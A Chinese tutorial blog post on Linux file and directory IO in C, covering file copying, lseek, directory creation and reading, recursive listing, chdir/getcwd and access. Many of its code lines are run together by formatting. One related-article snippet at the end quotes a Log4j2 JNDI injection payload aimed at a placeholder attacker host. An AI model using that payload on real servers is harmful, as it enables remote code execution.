当前位置: 首页 > news >正文

文件IO,目录IO的学习

一,头文件的添加

#ifndef _HEAD_H_                     //防止重新定义宏
#define _HEAD_H_#include<stdio.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>#endif

用法:#include“head.h”    ->     在当前目录下寻找头文件

二,主函数的传参

写法:

输出结果:

理解图:

主函数的传参中,argc是传参的个数  ,const char *argv[]是一个指针数组,存放的指针类型数据
argv【n】,n=1/2/3 分别代表三个指针参数

标准示例:

int main(int argc,const char *argv[])           //argc是传参的个数  *argv[]是一个指针数组,存放的指针类型数据
{int fsrc = 0;                               //定义文件描述符的变量int fdst = 0;char tmpbuff[4096] = {0};ssize_t nret = 0;                           //定义接收read的返回值的变量if(argc!=3)                                 //若是主函数传参数量不为3,报错{fprintf(stderr,"Usage:./a.out srcfilename dstfilename\n");return -1;}fsrc = open(argv[1],O_RDONLY);if(fsrc == -1){perror("fail to open");return -1;}fdst = open(argv[2],O_WRONLY | O_CREAT | O_TRUNC,0664);if (-1 == fdst){perror("fail to open");return -1;}while (1){nret = read(fsrc, tmpbuff, sizeof(tmpbuff));  //接收的返回值,若为0,代表读完 了。跳出循环if (nret <= 0){break;}write(fdst, tmpbuff, nret);                //写入数据,从tmpbuff中写入进f dst中,字节为接收的读的返回值的数量}close(fsrc);close(fdst);return 0;
}

三,文件IO的拓展

1.标准IO是对文件IO的封装(的调用):

2.文件对应的IO操作类型:


3.lseek:

    off_t lseek(int fd, off_t offset, int whence);
       功能:
            重新设定文件描述符的偏移量
       参数:
            fd:文件描述符
            offset:偏移量
            whence:
                SEEK_SET    文件开头
                SEEK_CUR    文件当前位置
                SEEK_END    文件末尾
       返回值:
            成功返回当前偏移量(off_t 类型的)
            失败返回-1

标准用法:

int main(void)
{int fd = 0;off_t len = 0;      //定义一个off_t 类型的变量接收 偏移量的长度char ch = 0;        //定义一个字符变量,用来作为写入数据的地址fd = open("a.txt",O_WRONLY | O_CREAT | O_TRUNC, 0664);if(fd == -1){perror("fail to open");return -1;}len = lseek(fd,10,SEEK_SET);   //从开头偏移10个长度printf("len = %ld\n",len);ch = 'a';write(fd,&ch,1);len = lseek(fd,-5,SEEK_CUR);printf("len = %ld\n",len);ch = 'b';write(fd,&ch,1);len = lseek(fd,0,SEEK_SET);printf("len = %ld\n",len);ch = 'c';write(fd,&ch,1);close(fd);return 0;

四,目录IO:

1.mkdir 

     int mkdir(const char *pathname, mode_t mode);
      功能:
        创建目录文件
      参数:
        pathname:文件路径
        mode:文件的权限
      返回值:
        成功返回0 
        失败返回-1 

        rwx rwx rwx
        111 111 111(权限有权为1)
        0777(八进制转换,作为权限的用途)

        r: 目录中是否能够查看文件
        w: 目录中是否能够新建文件
        x: 目录是否能够进入

2.rmdir

      int rmdir(const char *pathname);
      功能:
        删除空目录文件
      返回值:
        成功返回0 
        失败返回-1 

3.opendir

     DIR *opendir(const char *name);
      功能:
        打开目录获得目录流指针
      参数:
        name:目录文件路径
      返回值:
        成功返回目录流指针
        失败返回NULL

    
4.closedir

      int closedir(DIR *dirp);
      功能:
        关闭目录流指针

5.readdir

      struct dirent *readdir(DIR *dirp);
      功能:
        从目录流中读取下一个目录项的结构体信息
      参数:
        dirp:目录流指针
      返回值:
        成功返回包含目录项信息的空间首地址
        失败返回NULL
        读到文件末尾返回NULL

        结构体的成员:   struct dirent {
            ino_t          d_ino;       /* Inode number */
            off_t          d_off;       /* Not an offset; see below */
            unsigned short d_reclen;    /* Length of this record */
            unsigned char  d_type;      /* Type of file; not supported
                                            by all filesystem types */
            char           d_name[256]; /* Null-terminated filename */
        };

一个目录的创建,打开,读取信息,关闭的标准写法:

int main(void)
{DIR *dp = NULL;                 //定义一个这种类型的指针用来接收opendir的地址(为目录流指针)struct dirent *pp = NULL;       //定义一个这种类型的指针用来接收readdir的返回值(为结构体的首地址)//mkdir("mulu",0777);//创建一个 ”mulu“ 的目录,0777为权限dp = opendir("mulu");          //打开mulu,用dp接收if(dp == NULL){perror("fail to opendir");return -1;}while(1){pp = readdir(dp);           //读目录流指针的内容(是一个结构体),返回值为结构体的首地址,用pp接收if(pp == NULL){break;                 //若接收不到跳出}if(*pp -> d_name == '.'){continue;               //若为‘.’(隐藏目录),跳出重新循环,不做打印}printf("%s\n",pp->d_name);  //打印pp(结构体首地址)中 d_name 成员的内容}closedir(dp);return 0;

6.chdir 

      int chdir(const char *path);
参数:     const char *path - 文件的目录名或者“操作指令(如..)
功能:
        切换当前代码的工作路径

7.getcwd

      char *getcwd(char *buf, size_t size);
参数:      char *buf - 存放获得当前目录的绝对路径的地址
                 size_t size - 
功能:
        获得当前目录的绝对路径

切换当前工作路径以及获得当前路径打印:

int main(void)
{char tmpbuff[4096] = {0};           //定义一个字符数组存放获取地址的getcwd(tmpbuff,sizeof(tmpbuff));    //获取当前目录的绝对路径放在tmpbuff中printf("tmpbuff = %s\n",tmpbuff);chdir("..");getcwd(tmpbuff,sizeof(tmpbuff));printf("tmpbuff = %s\n",tmpbuff);return 0;
}

主函数的传参实现目录的信息的读取和打印: 

 //  主函数的传参实现目录的信息的读取和打印int ListDir(const char *pdorname)     //
{DIR *dp = NULL;                 //目录流指针struct dirent *pp = NULL;       //接收readdir返回值为结构体的首地址char tmpbuff[4096] = {0};       //存放字符串dp = opendir(pdorname);         //目录流指针接收返回值if(dp == NULL){perror("fail to opendir");return -1;}while(1){pp = readdir(dp);           //接收返回值,文件信息的结构体首地址if(pp == NULL){break;                 //为空读完跳出(递归的结束,也是目录信息的读取的结束)}if(pp -> d_name[0] == '.'){continue;              //判断隐藏文件(是的话不做输出)}sprintf(tmpbuff,"%s/%s",pdorname,pp -> d_name); //sprintf是将后面计算出来的"%s/%s"中的内容都输入到tmpbuff中(拼接作用)//pdorname是接收的目录地址 pp->d_name 是文件信息结构体中的文件名字中的内容printf("%s\n",tmpbuff);if(pp -> d_type == DT_DIR)  //如果结构体 -> 文件类型 == 目录类型的{ListDir(tmpbuff);       //递归(此时tmpbuff作为目录地址)}}closedir(dp);return 0;}int main(int argc,const char *argv[])
{if(argc != 2)          //满足参数为2个{fprintf(stderr,"Usage:./a.out dirname\n");return -1;}ListDir(argv[1]);      //调用函数return 0;
}

8.access

      int access(const char *pathname, int mode);
      功能:
        检测调用函数的程序对文件是否拥有指定权限
      参数:
        pathname:文件路径
        mode:
            R_OK    检测是否拥有读权限
            W_OK    检测是否拥有写权限
            X_OK    检测是否拥有执行权限
            F_OK    检测文件是否存在
      返回值:
        有该权限返回0
        出错返回-1  

代码实现:

                                    //检测文件是否存在
int main(int argc,const char *argv[])
{int ret = 0;if(argc!=2){fprintf(stderr,"Usage:./a.out dirname\n");return -1;}ret = access(argv[1],F_OK);if(ret == 0){printf("该文件存在\n");}else{printf("该文件不存在\n");}
}

相关文章:

文件IO,目录IO的学习

一&#xff0c;头文件的添加 #ifndef _HEAD_H_ //防止重新定义宏 #define _HEAD_H_#include<stdio.h> #include<sys/stat.h> #include<sys/types.h> #include<fcntl.h> #include<unistd.h> #include<string.h>#endif…...

leetcode(动态规划)53.最大子数组和(C++详细解释)DAY12

文章目录 1.题目示例提示 2.解答思路3.实现代码结果 4.总结 1.题目 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组 是数组中的一个连续部分。 示例 提示 2.解答思…...

BUGKU-WEB bp

题目描述 题目截图如下&#xff1a; 进入场景看看&#xff1a; 解题思路 提示说&#xff1a;弱密码top1000&#xff1f;z???(爆破?)先看看源码有没有提示 相关工具 Burp Suit 爆破top1000字典&#xff0c;点击下载 解题步骤 随便测试账号密码admin、admin 得到提…...

代码的复用——Mixin使用例子

Mixin&#xff08;混入&#xff09;是一种在Sass和Vue.js等框架中常用的技术&#xff0c;用于分发和重用代码。以下是Sass和Vue.js中Mixin的使用举例。 在Sass中&#xff0c;Mixin允许你定义可以在整个样式表中重复使用的样式。以下是一个Sass中Mixin的使用例子&#xff1a; …...

easyx 枪声模拟器

作品介绍:枪声模拟器 简介: “枪声模拟器”是一个基于Windows平台的简单程序,它使用C++编写,主要目的是通过模拟枪声来增强用户的体验。程序使用了图形库来展示一个蓝色的背景屏幕,并提示用户等待片刻后按空格键模拟开枪。当用户按下空格键时,程序会播放预先设定的枪声音…...

python 与 neo4j 交互(py2neo 使用)

参考自&#xff1a;neo4j的python.py2neo操作入门 官方文档&#xff1a;The Py2neo Handbook — py2neo 2021.1 安装&#xff1a;pip install py2neo -i https://pypi.tuna.tsinghua.edu.cn/simple 1 节点 / 关系 / 属性 / 路径 节点(Node)和关系(relationship)是构成图的基础…...

Python基础笔记11

Python小记 一行代码实现数字交换 C:\Users\mt>python Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more informa…...

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…...

智慧城市驿站:智慧公厕升级版,打造现代化城市生活的便捷配套

随着城市化进程的加速&#xff0c;人们对城市生活质量的要求也越来越高。作为智慧城市建设的一项重要组成部分&#xff0c;多功能城市智慧驿站应运而生。它集合了信息技术、设计美学、结构工艺、系统集成、环保节能等多个亮点&#xff0c;将现代科技与城市生活相融合&#xff0…...

大模型爆款应用fabric_构建优雅的提示

项目地址&#xff1a;https://github.com/danielmiessler/fabric 1 引言 目前 fabric 已经获得了 5.3K Star&#xff0c;其中上周获得了 4.2K&#xff0c;成为了上周热榜的第二名&#xff08;第一名是免费手机看电视的 Android 工具&#xff09;&#xff0c;可以算是爆款应用…...

js 对象属性描述符详解

文章目录 一、value二、writable三、访问器属性&#xff1a;get和set四、configurable五、注意事项 在 JavaScript 中&#xff0c;我们经常需要控制对象属性的特性&#xff0c;包括可写、可枚举等&#xff0c;本篇博客将介绍常见的对象属性使用及其特点。 本篇博客我们用首先O…...

文件操作QFile

C中&#xff0c;QT的QFile 类是 Qt 框架中用于文件处理的一个类&#xff0c;它继承自 QIODevice。该类提供了一系列用于文件读写的功能&#xff0c;支持文本和二进制文件的处理。QFile 允许开发者方便地在本地文件系统中创建、读取、写入和操作文件。 主要功能 文件打开与关闭…...

【Langchain】+ 【baichuan】实现领域知识库【RAG】问答系统

本项目使用Langchain 和 baichuan 大模型&#xff0c; 结合领域百科词条数据&#xff08;用xlsx保存&#xff09;&#xff0c;简单地实现了领域百科问答实现。 from langchain.text_splitter import CharacterTextSplitter, RecursiveCharacterTextSplitter from langchain_co…...

Anaconda、conda、pip、virtualenv的区别

① Anaconda Anaconda是一个包含180的科学包及其依赖项的发行版本。其包含的科学包包括&#xff1a;conda, numpy, scipy, ipython notebook等。 Anaconda具有如下特点&#xff1a; ▪ 开源 ▪ 安装过程简单 ▪ 高性能使用Python和R语言 ▪ 免费的社区支持 其特点的实现…...

【数据结构】每天五分钟,快速入门数据结构(一)——数组

目录 一.初始化语法 二.特点 三.数组中的元素默认值 四.时间复杂度 五.Java中的ArrayList类 可变长度数组 1 使用 2 注意事项 3 实现原理 4 ArrayList源码 5 ArrayList方法 一.初始化语法 // 数组动态初始化&#xff08;先定义数组&#xff0c;指定数组长度&#xf…...

NBlog个人博客部署维护过程记录 -- 后端springboot + 前端vue

项目是fork的Naccl大佬NBlog项目&#xff0c;页面做的相当漂亮&#xff0c;所以选择了这个。可以参考2.3的效果图 惭愧&#xff0c;工作两年了也没个自己的博客系统&#xff0c;趁着过年时间&#xff0c;开始搭建一下. NBlog原项目的github链接&#xff1a;Naccl/NBlog: &#…...

WireShark 安装指南:详细安装步骤和使用技巧

Wireshark是一个开源的网络协议分析工具&#xff0c;它能够捕获和分析网络数据包&#xff0c;并以用户友好的方式呈现这些数据包的内容。Wireshark 被广泛应用于网络故障排查、安全审计、教育及软件开发等领域。接下将讲解Wireshark的安装与简单使用。 目录 Wireshark安装步骤…...

PyTorch detach():深入解析与实战应用

PyTorch detach()&#xff1a;深入解析与实战应用 &#x1f335;文章目录&#x1f335; &#x1f333;引言&#x1f333;&#x1f333;一、计算图与梯度传播&#x1f333;&#x1f333;二、detach()函数的作用&#x1f333;&#x1f333;三、detach()与requires_grad&#x1f3…...

uniapp 开发一个密码管理app

密码管理app 介绍 最近发现自己的账号密码真的是太多了&#xff0c;各种网站&#xff0c;系统&#xff0c;公司内网的&#xff0c;很多站点在登陆的时候都要重新设置密码或者通过短信或者邮箱重新设置密码&#xff0c;真的很麻烦 所以准备开发一个app用来记录这些站好和密码…...

Postman详细攻略

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、Postman背景介绍 用户在开发或者调试网络程序或者是网页B/S模式的程序的时候是需要一些方法…...

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验

一、多模态商品数据接口的技术架构 &#xff08;一&#xff09;多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如&#xff0c;当用户上传一张“蓝色连衣裙”的图片时&#xff0c;接口可自动提取图像中的颜色&#xff08;RGB值&…...

1.3 VSCode安装与环境配置

进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件&#xff0c;然后打开终端&#xff0c;进入下载文件夹&#xff0c;键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...

从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)

设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile&#xff0c;新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...

OpenLayers 分屏对比(地图联动)

注&#xff1a;当前使用的是 ol 5.3.0 版本&#xff0c;天地图使用的key请到天地图官网申请&#xff0c;并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能&#xff0c;和卷帘图层不一样的是&#xff0c;分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...

Kafka入门-生产者

生产者 生产者发送流程&#xff1a; 延迟时间为0ms时&#xff0c;也就意味着每当有数据就会直接发送 异步发送API 异步发送和同步发送的不同在于&#xff1a;异步发送不需要等待结果&#xff0c;同步发送必须等待结果才能进行下一步发送。 普通异步发送 首先导入所需的k…...

Python+ZeroMQ实战:智能车辆状态监控与模拟模式自动切换

目录 关键点 技术实现1 技术实现2 摘要&#xff1a; 本文将介绍如何利用Python和ZeroMQ消息队列构建一个智能车辆状态监控系统。系统能够根据时间策略自动切换驾驶模式&#xff08;自动驾驶、人工驾驶、远程驾驶、主动安全&#xff09;&#xff0c;并通过实时消息推送更新车…...

日常一水C

多态 言简意赅&#xff1a;就是一个对象面对同一事件时做出的不同反应 而之前的继承中说过&#xff0c;当子类和父类的函数名相同时&#xff0c;会隐藏父类的同名函数转而调用子类的同名函数&#xff0c;如果要调用父类的同名函数&#xff0c;那么就需要对父类进行引用&#…...

如何配置一个sql server使得其它用户可以通过excel odbc获取数据

要让其他用户通过 Excel 使用 ODBC 连接到 SQL Server 获取数据&#xff0c;你需要完成以下配置步骤&#xff1a; ✅ 一、在 SQL Server 端配置&#xff08;服务器设置&#xff09; 1. 启用 TCP/IP 协议 打开 “SQL Server 配置管理器”。导航到&#xff1a;SQL Server 网络配…...

python打卡第47天

昨天代码中注意力热图的部分顺移至今天 知识点回顾&#xff1a; 热力图 作业&#xff1a;对比不同卷积层热图可视化的结果 def visualize_attention_map(model, test_loader, device, class_names, num_samples3):"""可视化模型的注意力热力图&#xff0c;展示模…...